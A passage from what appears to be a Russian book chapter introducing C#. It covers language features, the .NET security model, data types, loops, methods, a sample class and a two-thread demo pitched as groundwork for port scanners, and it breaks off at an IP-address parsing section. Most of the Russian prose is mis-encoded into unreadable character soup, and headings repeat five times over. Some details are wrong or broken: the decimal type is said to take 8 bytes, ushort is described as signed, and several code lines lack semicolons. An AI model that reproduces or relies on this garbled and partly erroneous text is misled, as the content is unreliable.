Ïðî÷èå âîçìîæíîñòèÏðî÷èå âîçìîæíîñòèÏðî÷èå âîçìîæíîñòèÏðî÷èå âîçìîæíîñòèÏðî÷èå âîçìîæíîñòè
ßçûê C# ïðåäëàãàåò òàêæå ñëåäóþùèå âîçìîæíîñòè:

� Àâòîìàòè÷åñêóþ ñáîðêó ìóñîðà ñ ïîìîùüþ ìåõàíèçìîâ, âñòðîåííûõ
â ñðåäó èñïîëíåíèÿ .NET;

� Êëàññû â C# ìîãóò ñíàáæàòüñÿ ìåòàäàííûìè, õðàíÿùèìèñÿ â âèäå àò-
ðèáóòîâ. ×ëåíû êëàññà ìîãóò áûòü îáúÿâëåíû êàê  publ ic, protected,
internal, protected internal èëè private â çàâèñèìîñòè îò òîãî, êàêóþ ñâî-
áîäó äîñòóïà ê íèì æåëàòåëüíî ïðåäîñòàâèòü;

� Â C# ëåãêî ðåàëèçóåòñÿ óïðàâëåíèå âåðñèÿìè. Ïðîãðàììèñò ìîæåò õðà-
íèòü ðàçëè÷íûå âåðñèè îòêîìïèëèðîâàííûõ ôàéëîâ â ðàçíûõ ïðî-
ñòðàíñòâàõ èìåí. Ýòî ìîæåò ñóùåñòâåííî ñîêðàòèòü âðåìÿ ðàçðàáîòêè
êðóïíûõ ïðîåêòîâ;

� Â C# óïðîùåí ìåõàíèçì îáõîäà êîëëåêöèé (ñòðóêòóð, ïîäîáíûõ ìàññè-
âàì) çà ñ÷åò èñïîëüçîâàíèÿ âñòðîåííûõ èòåðàòîðîâ. Êîíñòðóêöèÿ
foreach ïîçâîëÿåò ïåðåáðàòü âñå ýëåìåíòû êîëëåêöèè;

� Â C# ââåäåíî ïîíÿòèå äåëåãàòà. Ìîæíî ñ÷èòàòü ýòî íåêèì àíàëîãîì
óêàçàòåëÿ íà ìåòîä. Äåëåãàò ñîäåðæèò èíôîðìàöèþ î òîì, êàê âûçû-
âàòü ìåòîä îáúåêòà. Äåëåãàòû øèðîêî ïðèìåíÿþòñÿ â C# äëÿ ðåàëèçà-
öèè îáðàáîò÷èêîâ ñîáûòèé.

ÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòüÁåçîïàñíîñòü
Ìîäåëü áåçîïàñíîñòè â C# ñïðîåêòèðîâàíà ñ ó÷åòîì ñðåäû èñïîëíåíèÿ .NET è
ïðåäîñòàâëÿåò ñëåäóþùèå âîçìîæíîñòè:

� Ïîëíîìî÷èÿÏîëíîìî÷èÿÏîëíîìî÷èÿÏîëíîìî÷èÿÏîëíîìî÷èÿ (permissions). Â ïðîñòðàíñòâå èìåí System.Security.Per-
missions ñîñðåäîòî÷åíà âñÿ ôóíêöèîíàëüíîñòü, îòíîñÿùàÿñÿ ê ïîëíî-
ìî÷èÿì êîäà. Ïðîãðàììà ìîæåò îïðåäåëÿòü ïîëíîìî÷èÿ è çàïðàøè-
âàòü èõ ó âûçûâàþùåé ïðîãðàììû. Ñóùåñòâóåò òðè òèïà ïîëíîìî÷èé:
íà èñïîëíåíèå êîäà, ïðîâåðêè èäåíòè÷íîñòè è ðîëåâûå;

� Ïîëèòèêè áåçîïàñíîñòèÏîëèòèêè áåçîïàñíîñòèÏîëèòèêè áåçîïàñíîñòèÏîëèòèêè áåçîïàñíîñòèÏîëèòèêè áåçîïàñíîñòè. Àäìèíèñòðàòîð ìîæåò ñîçäàòü ïîëèòèêó áå-
çîïàñíîñòè, íàëàãàþùóþ îãðàíè÷åíèÿ íà òå îïåðàöèè, êîòîðûå ìîæåò

Язык C#
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âûïîëíÿòü ïðîãðàììà. Çà ñîáëþäåíèåì ýòèõ îãðàíè÷åíèé ñëåäèò îáùå-
ÿçûêîâàÿ ñðåäà èñïîëíåíèÿ .NET (CLR – Common Language Runtime);

� ÏðèíöèïàëûÏðèíöèïàëûÏðèíöèïàëûÏðèíöèïàëûÏðèíöèïàëû. Ïðèíöèïàë âûïîëíÿåò äåéñòâèÿ îò èìåíè ïîëüçîâàòåëÿ.
Ñèñòåìà àóòåíòèôèöèðóåò ïðèíöèïàëà ñ ïîìîùüþ âåðèòåëüíûõ ãðà-
ìîò, ïðåäîñòàâëÿåìûõ åãî àãåíòîì. Ñðåäà èñïîëíåíèÿ .NET ãàðàíòèðó-
åò, ÷òî ïðîãðàììà ñìîæåò óñïåøíî çàâåðøèòü ëèøü òå äåéñòâèÿ, êîòî-
ðûå åé ðàçðåøåíû.

� Áåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàìÁåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàìÁåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàìÁåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàìÁåçîïàñíîñòü ïî îòíîøåíèþ ê òèïàì. C# ãàðàíòèðóåò, ÷òî ïðîãðàì-
ìà ñìîæåò ïîëó÷èòü äîñòóï òîëüêî ê îòêðûòîé äëÿ íåå ïàìÿòè.

Пример «Здравствуй, мир!» на языке C#

Ïðîãðàììó «Çäðàâñòâóé, ìèð!» (Hello, world!) ÷àñòî ïðèâîäÿò â ïðèìåð, êàê
ïðîñòåéøóþ èç âîçìîæíûõ ïðîãðàìì íà äàííîì ÿçûêå. Íà÷èíàþùèå ïðî-
ãðàììèñòû íà ýòîì ïðèìåðå îñâàèâàþò áàçîâóþ ñòðóêòóðó ÿçûêà, ó÷àòñÿ
ïîëüçîâàòüñÿ êîìïèëÿòîðîì è çàïóñêàòü ïðîãðàììó íà âûïîëíåíèå. Íèæå
ïðèâåäåí òåêñò òàêîé ïðîãðàììû íà ÿçûêå C#.

Пример 1.18. Пример 1.18. Пример 1.18. Пример 1.18. Пример 1.18. Здравствуй, мир!
using System;
class HelloWorld{

public static void Main() {
 Console.WriteLine("Hello, world!");
}

}

Ýòà ïðîãðàììà î÷åíü íàïîìèíàåò ñîñòàâëåííóþ íà ÿçûêå Java. Êëàññ Hello-
World ñîäåðæèò åäèíñòâåííûé ìåòîä Main, êîòîðîìó íå ïåðåäàþòñÿ íèêàêèå
àðãóìåíòû. Ýòîò ìåòîä îòêðûòûé (publ ic), òî  åñòü ê  íåìó ìîæíî  îáðàùàòüñÿ
èçâíå êëàññà HelloWorld. Îí íå âîçâðàùàåò çíà÷åíèÿ, î ÷åì ãîâîðèò êëþ÷å-
âîå ñëîâî void. Â C# ìåòîä WriteLine ÿâëÿåòñÿ ÷ëåíîì êëàññà Console. Îí ïå÷à-
òàåò ñòðîêó «Hello, world!» íà ñòàíäàðòíûé âûâîä.

Типы данных

Òèïû äàííûõ ñëóæàò â ÿçûêàõ ïðîãðàììèðîâàíèÿ äëÿ îïðåäåëåíèÿ ïåðåìåí-
íûõ äî èõ èíèöèàëèçàöèè. Òèï îïðåäåëÿåò, êàê ïåðåìåííàÿ áóäåò ðàçìåùåíà
â ïàìÿòè è êàêèå äàííûå îíà ìîæåò ñîäåðæàòü. Ãîâîðÿò, ÷òî ïåðåìåííàÿ
ÿâëÿåòñÿ ýêçåìïëÿðîì íåêîòîðîãî òèïà äàííûõ. Â ÿçûêå C# åñòü äâå ðàçíî-
âèäíîñòè òèïîâ äàííûõ: çíà÷àùèå è ññûëî÷íûå. Â îòëè÷èå îò Java, â C# íåò
ïðèìèòèâíûõ òèïîâ, íàïðèìåð, int. Â C# âñå äàííûå ÿâëÿþòñÿ îáúåêòàìè.
Â C# òàêæå ðàçðåøåí ïðÿìîé äîñòóï ê ïàìÿòè ñ ïîìîùüþ óêàçàòåëåé, íî
òîëüêî âíóòðè ó÷àñòêîâ êîäà, ïîìå÷åííûõ êëþ÷åâûì ñëîâîì unsafe (íåáåçî-
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ïàñíûé). Îáúåêòû, íà êîòîðûå ññûëàþòñÿ óêàçàòåëè, íå ïîäâåðãàþòñÿ ñáîðêå
ìóñîðà. Â C# èìåþòñÿ ñëåäóþùèå çíà÷àùèå òèïû:

� ByteByteByteByteByte. Òèïîì byte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî, çàíèìàþùåå 1 áàéò ïàìÿòè;
� SbyteSbyteSbyteSbyteSbyte. Òèïîì sbyte ïðåäñòàâëÿåòñÿ öåëîå ÷èñëî ñî çíàêîì, çàíèìàþùåå

1 áàéò ïàìÿòè;
� ShortShortShortShortShort. Òèï short ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíè-

ìàþùèõ 2 áàéòà ïàìÿòè;
� UshortUshortUshortUshortUshort. Òèï ushort ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë

ñî çíàêîì, çàíèìàþùèõ 2 áàéòà ïàìÿòè;
� IntIntIntIntInt. Òèï int ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíèìàþ-

ùèõ 4 áàéòà ïàìÿòè;
� UintUintUintUintUint. Òèï uint ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë, çà-

íèìàþùèõ 4 áàéòà ïàìÿòè;
� LongLongLongLongLong. Òèï long ñëóæèò äëÿ ïðåäñòàâëåíèÿ öåëûõ ÷èñåë ñî çíàêîì, çàíè-

ìàþùèõ 8 áàéòîâ ïàìÿòè;
� UlongUlongUlongUlongUlong. Òèï ulong ñëóæèò äëÿ ïðåäñòàâëåíèÿ áåççíàêîâûõ öåëûõ ÷èñåë,

çàíèìàþùèõ 8 áàéòîâ ïàìÿòè;
� FloatFloatFloatFloatFloat. Òèïîì float ïðåäñòàâëÿþò ÷èñëà ñ ïëàâàþùåé òî÷êîé, ïîä êîòî-

ðûå îòâîäèòñÿ 4 áàéòà;
� DoubleDoubleDoubleDoubleDouble. Òèï double ñëóæèò äëÿ ïðåäñòàâëåíèÿ ÷èñåë ñ ïëàâàþùåé òî÷-

êîé äâîéíîé òî÷íîñòè. Äëÿ íèõ îòâîäèòñÿ 8 áàéòîâ;
� ObjectObjectObjectObjectObject. Ýòî áàçîâûé òèï, íå èìåþùèé îòäåëüíîãî ïðåäñòàâëåíèÿ;
� DecimalDecimalDecimalDecimalDecimal. Ýòî ÷èñëîâîé òèï, ïðèìåíÿåìûé äëÿ ôèíàíñîâûõ ðàñ÷åòîâ.

Ïîä íåãî îòâîäèòñÿ 8 áàéòîâ, çíà÷åíèÿ ýòîãî òèïà äîëæíû ñîïðîâîæ-
äàòüñÿ ñóôôèêñîì «M»;

� StringStringStringStringString. Òèïîì string ïðåäñòàâëÿåòñÿ ïîñëåäîâàòåëüíîñòü ñèìâîëîâ â êî-
äèðîâêå Unicode. Ðàçìåð ñòðîê íå ôèêñèðîâàí;

� CharCharCharCharChar. Òèï char ñëóæèò äëÿ ïðåäñòàâëåíèÿ ñèìâîëîâ. Â ÿçûêå C# ñèìâîë
õðàíèòñÿ â êîäèðîâêå Unicode è çàíèìàåò 16 áèòîâ;

� BooleanBooleanBooleanBooleanBoolean. Òèïîì boolean ìîæíî ïðåäñòàâèòü îäíî èç äâóõ çíà÷åíèé:
true èëè false. Îí çàíèìàåò 1 áàéò.

Â ïëàòôîðìåííî-çàâèñèìûõ ÿçûêàõ, ê êîòîðûì îòíîñèòñÿ, â ÷àñòíîñòè, C,
òî÷íûé îáúåì ïàìÿòè, îòâîäèìîé ïîä õðàíåíèå äàííûõ ðàçíûõ òèïîâ, ÷àñòî
íå îïðåäåëåí. Íàïðîòèâ, â C# è â J#, êàê è â Java ðàçìåð è ôîðìàò âñåõ òèïîâ
äàííûõ ñïåöèôèöèðîâàíû â ñàìîì ÿçûêå. Ïðîãðàììèñòàì íå íàäî äóìàòü
î ñèñòåìíûõ îñîáåííîñòÿõ.

Â C# èìåþòñÿ òàêæå ññûëî÷íûå òèïû. Ïåðåìåííûå òàêîãî òèïà íå ñîäåð-
æàò çíà÷åíèÿ, à óêàçûâàþò íà êàêîé-òî àäðåñ â ïàìÿòè. Ìàññèâû, îáúåêòû è
èíòåðôåéñû – âñå ýòî äàííûå ññûëî÷íûõ òèïîâ. Íà ðèñ 1.3 ïðèâåäåíà êëàññè-
ôèêàöèÿ òèïîâ â ÿçûêå C#.

Язык C#
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Рис. 1.3. Классификация типов данных в языке C#
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Â ÿçûêå C# äëÿ óïðàâëåíèÿ ïîòîêîì âûïîëíåíèÿ ïðîãðàììû ïðèìåíÿþòñÿ
öèêëû. Â ïðîãðàììàõ ÷àñòî âñòðå÷àþòñÿ ó÷àñòêè, êîòîðûå íàäî ïîâòîðèòü
ëèáî çàðàíåå èçâåñòíîå ÷èñëî ðàç, ëèáî äî òåõ ïîð, ïîêà íå áóäåò âûïîëíå-
íî íåêîòîðîå óñëîâèå. Öèêëû êàê ðàç è ïðåäíàçíà÷åíû äëÿ ðåøåíèÿ ïîäîá-
íîãî ðîäà çàäà÷. Èìååòñÿ òðè îñíîâíûõ âèäà öèêëîâ: for, while è do...while.

Пример 1.19. Пример 1.19. Пример 1.19. Пример 1.19. Пример 1.19. Цикл «for»
For( íà÷àëüíîå_âûðàæåíèå; ïðîâåðÿåìîå_óñëîâèå; îïåðàöèÿ ){
[áëîê ïðåäëîæåíèé];
}
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Èç âñåõ öèêëîâ for èñïîëüçóåòñÿ ÷àùå âñåãî. Â íà÷àëå âûïîëíåíèÿ öèêëà
ïðîãðàììà âû÷èñëÿåò íà÷àëüíîå âûðàæåíèå è ïðîâåðÿåò ñëåäóþùåå çà íèì
óñëîâèå. Åñëè óñëîâèå èñòèííî, âûïîëíÿåòñÿ òåëî öèêëà («áëîê ïðåäëîæå-
íèé»). Â êîíöå öèêëà ïðîèçâîäèòñÿ îïåðàöèÿ, óêàçàííàÿ íà òðåòüåé â çàãîëîâ-
êå, ïîñëå ÷åãî ñíîâà ïðîâåðÿåòñÿ óñëîâèå. Öèêë ïðîäîëæàåòñÿ, ïîêà óñëîâèå
íå ñòàíåò ëîæíûì.

Îñîáåííî õîðîøî öèêë for ïîäõîäèò äëÿ âûïîëíåíèÿ èòåðàöèé. Åñëè íóæ-
íî âûïîëíèòü áëîê ïðåäëîæåíèé ïÿòü ðàç, òî ìîæíî íàïèñàòü òàêîé ïðî-
ñòîé öèêë:

for( i = 0 ; i < 5 ; i++ ){
[áëîê ïðåäëîæåíèé];
}

Пример 1.20.Пример 1.20.Пример 1.20.Пример 1.20.Пример 1.20. Цикл «while»
while( óñëîâèå ){
[áëîê ïðåäëîæåíèé];
}

Ïðè âûïîëíåíèè öèêëà while ïðîâåðÿåòñÿ óñëîâèå, ñòîÿùåå â íà÷àëå öèêëà.
Åñëè îíî èñòèííî, âûïîëíåíèå öèêëà ïðîäîëæàåòñÿ, èíà÷å ïðåêðàùàåòñÿ.
Öèêë ïîâòîðÿåòñÿ, ïîêà óñëîâèå íå ñòàíåò ëîæíûì.

Пример 1.21.Пример 1.21.Пример 1.21.Пример 1.21.Пример 1.21. Цикл «do...while»
do{
[áëîê ïðåäëîæåíèé];
} while( óñëîâèå );

Â öèêëå do...while ïðîâåðÿåìîå óñëîâèå íàõîäèòñÿ â êîíöå è ïðîâåðÿåòñÿ ïîñ-
ëå âûïîëíåíèÿ áëîêà ïðåäëîæåíèé. Åñëè îíî èñòèííî, òî áëîê ïðåäëîæåíèé
âûïîëíÿåòñÿ åùå ðàç, â ïðîòèâíîì ñëó÷àå ïðîèñõîäèò âûõîä èç öèêëà. Öèêë
do...while ïîõîæ íà öèêë while ñ îäíèì îòëè÷èåì: áëîê ïðåäëîæåíèé áóäåò âû-
ïîëíåí õîòÿ áû îäèí ðàç. Öèêëû ýòîãî âèäà âñòðå÷àþòñÿ ðåæå, ÷åì for è while.

Ñëåäóåò îòìåòèòü, ÷òî â áîëüøèíñòâå ñëó÷àåâ âñå òðè öèêëè÷åñêèõ êîíñò-
ðóêöèè ôóíêöèîíàëüíî ýêâèâàëåíòíû.

Пример 1.22. Пример 1.22. Пример 1.22. Пример 1.22. Пример 1.22. Эквивалентность циклов – выполнение пяти итераций.
Öèêë for
for( i = 0 ; i < 5 ; i++ ){
   áëîê_ïðåäëîæåíèé;
}

Öèêë while
int i = 0;
while( i < 5 ){

Язык C#
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   áëîê_ïðåäëîæåíèé;
   i++;
}

Öèêë do...while
int i = 0;
do {
   áëîê_ïðåäëîæåíèé;
   i++;
} while( i < 5 )

Â êàæäîì èç ýòèõ ïðèìåðîâ áëîê_ïðåäëîæåíèé âûïîëíÿåòñÿ ïÿòü ðàç.
Êîíñòðóêöèè ðàçíûå, íî ðåçóëüòàò îäèí è òîò æå. Ïîýòîìó ìû è ãîâîðèì,
÷òî âñå âèäû öèêëîâ ôóíêöèîíàëüíî ýêâèâàëåíòíû.

Методы

Ìîæíî ñêàçàòü, ÷òî ìåòîä (â äðóãèõ ÿçûêàõ åãî àíàëîãîì ñëóæèò ôóíêöèÿ) –
ýòî ìèíèàòþðíàÿ ïðîãðàììà. Èíîãäà ïðîãðàììèñòó íóæíî ïîëó÷èòü íà âõî-
äå îïðåäåëåííûå äàííûå, ïðîèçâåñòè íàä íèìè íåêîòîðóþ îïåðàöèþ è âåð-
íóòü ðåçóëüòàò â òðåáóåìîì ôîðìàòå. Ïîíÿòèå ìåòîäà è áûëî ïðèäóìàíî äëÿ
òàêèõ ïîâòîðÿþùèõñÿ îïåðàöèé. Ìåòîä – ýòî àâòîíîìíàÿ ÷àñòü ïðîãðàììû,
êîòîðóþ ìîæíî âûçâàòü äëÿ âûïîëíåíèÿ îïåðàöèè íàä äàííûìè. Ìåòîä
ïðèíèìàåò íåêîòîðîå ÷èñëî àðãóìåíòîâ è âîçâðàùàåò çíà÷åíèå. Íèæå ïðè-
âåäåí ïðèìåð ìåòîäà, êîòîðûé ïîëó÷àåò íà âõîäå öåëîå ÷èñëî è âîçâðàùàåò
åãî ôàêòîðèàë.

Пример 1.23.Пример 1.23.Пример 1.23.Пример 1.23.Пример 1.23. Метод Factorial
int Factorial( int num ){
   for( i = (num – 1) ; i > 0 ; i— ){
      num *= i;   /* ñîêðàùåííàÿ çàïèñü äëÿ num = num * i */
   }
   return num;
}

Â ïåðâîé ñòðîêå Factorial – ýòî èìÿ ìåòîäà. Åìó ïðåäøåñòâóåò êëþ÷åâîå
ñëîâî int, ãîâîðÿùåå î òîì, ÷òî ìåòîä âîçâðàùàåò öåëîå çíà÷åíèå. ×àñòü
( int num ) îçíà÷àåò, ÷òî ìåòîä ïðèíèìàåò â êà÷åñòâå àðãóìåíòà îäíî öåëîå
÷èñëî, êîòîðîå áóäåò îáîçíà÷àòüñÿ num. Ïðåäëîæåíèå return ãîâîðèò î òîì,
êàêîå èìåííî çíà÷åíèå ìåòîä âîçâðàùàåò.

Классы

Îáúåêòíî-îðèåíòèðîâàííûå ïðîãðàììû îðãàíèçîâàíû â âèäå íàáîðà êëàñ-
ñîâ. Êëàññ – ýòî äèñêðåòíàÿ åäèíèöà ïðîãðàììû, îáëàäàþùàÿ îïðåäåëåííû-
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ìè õàðàêòåðèñòèêàìè. Êëàññ ãðóïïèðóåò äàííûå è ìåòîäû íåêîòîðûõ òèïîâ.
Êëàññ ìîæåò ñîäåðæàòü êîíñòðóêòîðû, êîòîðûå îïðåäåëÿþò, êàê ñîçäàåòñÿ
ýêçåìïëÿð êëàññà èëè îáúåêò. Â êëàññ âêëþ÷àþòñÿ ìåòîäû, âûïîëíÿþùèå
îïåðàöèè íàä ýêçåìïëÿðàìè ýòîãî êëàññà.

Ïðåäïîëîæèì, íàïðèìåð, ÷òî ïðîãðàììèñò ðàáîòàåò íàä ñèìóëÿòîðîì ïî-
ëåòîâ äëÿ êîìïàíèè – ïðîèçâîäèòåëÿ ñàìîëåòîâ. Ðåçóëüòàòû ýòîé ðàáîòû ïî-
ìîãóò êîìïàíèè ïðèíÿòü âàæíûå ïðîåêòíûå ðåøåíèÿ. Â òàêîé ñèòóàöèè
îáúåêòíî-îðèåíòèðîâàííîå ïðîãðàììèðîâàíèå – èäåàëüíûé èíñòðóìåíò.
Ìîæíî ñîçäàòü êëàññ plane, èíêàïñóëèðóþùèé âñå õàðàêòåðèñòèêè ñàìîëåòà
è ìåòîäû äëÿ ìîäåëèðîâàíèÿ åãî ïåðåìåùåíèé. Ìîæíî òàêæå ñîçäàòü íå-
ñêîëüêî îáúåêòîâ êëàññà plane, êàæäûé èç êîòîðûõ áóäåò ñîäåðæàòü ñâîè ñîá-
ñòâåííûå äàííûå.

Êëàññ ìîæåò ñîäåðæàòü íåñêîëüêî ïåðåìåííûõ, ê ïðèìåðó:

� Weight (âåñ);
� Speed (ñêîðîñòü);
� Maneuverabil ity (ìàíåâðåííîñòü);
� Position (ïîëîæåíèå).

Ñ åãî ïîìîùüþ ïðîãðàììèñò ìîæåò ñìîäåëèðîâàòü ïîëåò ñàìîëåòà ïðè çà-
äàííûõ óñëîâèÿõ. Äëÿ ìîäèôèêàöèè õàðàêòåðèñòèê îáúåêòà ìîæíî íàïèñàòü
íåñêîëüêî ìåòîäîâ äîñòóïà:

SetWeight( int )
SetSpeed( int )
SetManeuverability( int )
SetPosition( int )
MovePosition( int )

Êîä òàêîãî êëàññà plane ìîã áû âûãëÿäåòü ñëåäóþùèì îáðàçîì:

Пример 1.24. Пример 1.24. Пример 1.24. Пример 1.24. Пример 1.24. Класс plane
 1 public class plane{
 2 int Weight;
 3 int Speed;
 4 int Maneuverability;
 5 Location Position; /* òèï Location äîëæåí áûòü ãäå-òî îïðåäåëåí
 6          è ïðåäñòàâëÿòü ïðîñòðàíñòâåííûå êîîðäèíàòû (x,y,z) */
 7 plane( int W, int S, int M, Location P ){
 8   Weight = W;
 9   Speed = S;
10   Maneuverability = M;
11   Position = P;
12 }
13
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14 SetWeight( plane current, int W ){
15   current.Weight = W;
16 }
17
18 /* Ìåòîäû SetSpeed, SetManeuverability, SetPosition,
   MovePosition òîæå äîëæíû áûòü îïðåäåëåíû */

19 }

Ýòîò êîä ñëóæèò äëÿ èíèöèàëèçàöèè îáúåêòà êëàññà plane. Ïðè âûçîâå êîí-
ñòðóêòîðà plane çàäàþòñÿ âñå õàðàêòåðèñòèêè, êîòîðûìè äîëæåí îáëàäàòü ñà-
ìîëåò: âåñ, ñêîðîñòü, ìàíåâðåííîñòü è ïîëîæåíèå. Íà ïðèìåðå ìåòîäà
SetWeight ïðîäåìîíñòðèðîâàíî, êàê ìîæíî âêëþ÷èòü â êëàññ îïåðàöèþ íàä
îïèñûâàåìûì èì îáúåêòîì.

Ñèìóëÿòîð ìîæåò ñîçäàòü íåñêîëüêî ýêçåìïëÿðîâ êëàññà plane è âûïîëíèòü
«ïðîáíûå ïîëåòû» äëÿ îöåíêè âëèÿíèÿ ðàçëè÷íûõ õàðàêòåðèñòèê. Íàïðèìåð,
ñàìîëåò plane1 ìîæåò âåñèòü 5000 ôóíòîâ, ëåòàòü ñî ñêîðîñòüþ 500 ìèëü/÷àñ è
îáëàäàòü ìàíåâðåííîñòüþ 10, òîãäà êàê äëÿ ñàìîëåòà plane2 ìîæíî çàäàòü òà-
êèå ïàðàìåòðû: âåñ 6000 ôóíòîâ, ñêîðîñòü 600 ìèëü/÷àñ, ìàíåâðåííîñòü 8.
Îáúåêò plane1 ìîæíî ñîçäàòü ñ ïîìîùüþ òàêèõ ïðåäëîæåíèé:

plane plane1;

Location p;

p = new Location( 3, 4, 5 );

plane1 = new plane(1.000, 400, 3, p );

Íàñëåäîâàíèå ïîçâîëÿåò ïðîãðàììèñòàì ñîçäàâàòü èåðàðõèè êëàññîâ.
Êëàññû îðãàíèçóþòñÿ â äðåâîâèäíûå ñòðóêòóðû, â êîòîðûõ ó êàæäîãî êëàññà
åñòü «ðîäèòåëè» è, âîçìîæíî, «ïîòîìêè». Êëàññ «íàñëåäóåò», òî åñòü ìîæåò
ïîëüçîâàòüñÿ ôóíêöèÿìè ëþáîãî èç ñâîèõ êëàññîâ-ðîäèòåëåé, íàçûâàåìûõ
òàêæå åãî ñóïåðêëàññàìè. Íàïðèìåð, åñëè êëàññ plane ÿâëÿåòñÿ ïîäêëàññîì
êëàññà vehicle, òî îáúåêò êëàññà plane èìååò äîñòóï êî âñåì ìåòîäàì, êîòîðûå
ìîæíî âûïîëíÿòü íàä îáúåêòîì êëàññà vehicle. Â ÿçûêå C# âñå êëàññû ïðÿìî
èëè êîñâåííî íàñëåäóþò êîðíåâîìó êëàññó System.Object.

Ó êëàññîâ åñòü ìíîãî ïðåèìóùåñòâ, íåäîñòàþùèõ äðóãèì èìåþùèìñÿ
â ÿçûêå òèïàì. Îíè ïðåäîñòàâëÿþò ýôôåêòèâíîå ñðåäñòâî äëÿ îðãàíèçà-
öèè ïðîãðàììû â âèäå íàáîðà ìîäóëåé, êîòîðûì ìîæíî íàñëåäîâàòü. Ìîæ-
íî òàêæå ñîçäàâàòü àáñòðàêòíûå êëàññû, âûñòóïàþùèå â ðîëè èíòåðôåé-
ñîâ. Èíòåðôåéñ îïðåäåëÿåò, íî íå ðåàëèçóåò íåêîòîðóþ ôóíêöèîíàëüíîñòü,
îñòàâëÿÿ ýòó çàäà÷ó ñâîèì ïîäêëàññàì. Äàííûå êëàññà ìîæíî îáúÿâëÿòü
çàêðûòûìè, ãàðàíòèðóÿ òåì ñàìûì, ÷òî äîñòóï ê âíóòðåííåìó ñîñòîÿíèþ
êëàññà âîçìîæåí ëèøü ñ ïîìîùüþ ñïåöèàëüíî ïðåäíàçíà÷åííûõ äëÿ ýòîãî
ìåòîäîâ.
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Потоки в языке C#

Äëÿ íàïèñàíèÿ ïðîñòûõ è ýôôåêòèâíûõ èíñòðóìåíòîâ ñêàíèðîâàíèÿ ïîòîêè
íåîöåíèìû, ïîñêîëüêó ïîçâîëÿþò ñêàíèðîâàòü íåñêîëüêî ïîðòîâ ïàðàëëåëü-
íî, à íå ïîñëåäîâàòåëüíî. Ñëåäóþùàÿ íåñëîæíàÿ ïðîãðàììà ñîçäàåò äâà ïîòî-
êà, êîòîðûå âûâîäÿò íà ñòàíäàðòíûé âûâîä 0 è 1.

 1 using System;

 2 using System.Threading;

 3
 4 public class AThread {

 5
 6    public void ThreadAction( ) {
 7      for ( int i=0 ; i < 2 ; i++ ) {
 8          Console.WriteLine( "Thread loop executed: " + i );
 9          Thread.Sleep(1);
10      }
11    }
12 }

13
14 public class Driver {

15
16    public static void Main( ) {

17
18      AThread Thread1 = new AThread( );

19      AThread Thread2 = new AThread( );

20
21      ThreadStart TS1 = new ThreadStart( Thread1.ThreadAction )

22      ThreadStart TS2 = new ThreadStart( Thread2.ThreadAction )

23
24      Thread ThreadA = new Thread( TS1 );

25      Thread ThreadB = new Thread( TS2 );

26
27      ThreadA.Start( );

28      ThreadB.Start( );

29   }

30 }

Â ñòðîêå 2 èìïîðòèðóåòñÿ ïðîñòðàíñòâî èìåí System.Threading. Ñîäåðæà-
ùèåñÿ â íåì êëàññû ïðåäîñòàâëÿþò äîñòóï ê ôóíêöèîíàëüíîñòè, íåîáõîäè-
ìîé ïðîãðàììå, â êîòîðîé èñïîëüçóþòñÿ ïîòîêè. Â êëàññå AThread ìåòîä
ThreadAction (ñòðîêè 6–11) âûâîäÿò 0 è 1. Öåëü ïðîãðàììû – ïðîäåìîíñòðèðî-
âàòü ïîðÿäîê, â êîòîðîì èñïîëíÿþòñÿ ïîòîêè. Ïðåäëîæåíèå Thread.Sleep(1);
â ñòðîêå 9 çàñòàâëÿåò òåêóùèé ïîòîê ïîäîæäàòü îäíó ìèëëèñåêóíäó, äàâàÿ
òåì ñàìûì âîçìîæíîñòü âûïîëíèòüñÿ äðóãîìó ïîòîêó.

Язык C#



70 Глава 1. Написание безопасных программ

Ïåðåéäåì òåïåðü ê êëàññó Driver. Â ñòðîêàõ 18 è 19 ñîçäàþòñÿ îáúåêòû êëàñ-
ñà AThread. Â ñòðîêàõ 21 è 22 óêàçûâàåòñÿ, êàêîé ìåòîä ñëåäóåò èñïîëíÿòü ïðè
çàïóñêå ïîòîêà. Â ñòðîêàõ 24 è 25 ñîçäàþòñÿ ïîòîêè ThreadA è ThreadB. Òèï
Thread, âñòðå÷àþùèéñÿ â ýòèõ ñòðîêàõ, îïðåäåëåí â ïðîñòðàíñòâå èìåí
System.Threading. Íàêîíåö, â ñòðîêàõ 27 è 28 çàïóñêàåòñÿ âûïîëíåíèå ïîòîêîâ.

Ðåçóëüòàò ðàáîòû ïðîãðàììû âûãëÿäèò ñëåäóþùèì îáðàçîì:

0
0
1
1

Ìû âèäèì, ÷òî ïîòîêè èñïîëíÿþòñÿ ïàðàëëåëüíî. Ïðè ïîñëåäîâàòåëüíîì
âûïîëíåíèè ÷èñëà áûëè áû íàïå÷àòàíû â òàêîì ïîðÿäêå: 0, 1, 0, 1. Ïîðàçìûñ-
ëèòå, íàñêîëüêî ïîëåçíû ìîãóò îêàçàòüñÿ ïîòîêè ïðè ðåàëèçàöèè ñêàíåðîâ.

Пример: разбор IP3адреса,

заданного в командной строке

Ðàçáèðàòü çàäàííûé â êîìàíäíîé ñòðîêå IP-àäðåñ ïðèõîäèòñÿ ïî÷òè â êàæäîé
ñåòåâîé ïðîãðàììå. Äëÿ ïðèëîæåíèé, ïðåòåíäóþùèõ íà ïîëåçíîñòü, óìåíèå
ðàçáèðàòü àäðåñà öåëåé èëè äàæå ïîçâîëÿòü ïîëüçîâàòåëþ çàäàâàòü öåëûå
ïîäñåòè èëè óêàçûâàòü íåñêîëüêî ñåòåé – íå ðîñêîøü, à íàñóùíàÿ íåîáõîäè-
ìîñòü. Ïðîãðàììà Nmap – áåñïëàòíàÿ óòèëèòà äëÿ ñêàíèðîâàíèÿ ïîðòîâ, êî-
òîðóþ ìîæíî çàãðóçèòü ñ ñàéòà www.insecure.org, – åùå â íà÷àëå 1990-õ ãîäîâ
